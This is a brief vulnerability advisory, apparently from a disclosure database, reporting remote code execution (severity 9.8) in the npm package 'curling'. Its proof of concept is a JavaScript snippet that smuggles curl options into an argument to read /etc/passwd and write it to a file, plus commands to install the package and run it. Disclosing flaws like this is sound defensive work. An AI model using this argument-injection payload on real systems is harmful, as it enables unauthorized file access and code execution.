curling

vulnerability remote code execution
severity 9.8
language javascript
registry npm

Description

Remote Code Execution (RCE) in curling

Proof of Concept

  1. Create the following PoC file:
// poc.js
const curling = require('curling');
curling.run('file:///etc/passwd -o ./out.js', function(d, payload){console.log(payload)});
  1. Execute the following commands in terminal:
npm i curling # Install affected module
node poc.js #  Run the PoC
  1. Check the Output using ls command before and after the execution. And view the content in out.js

References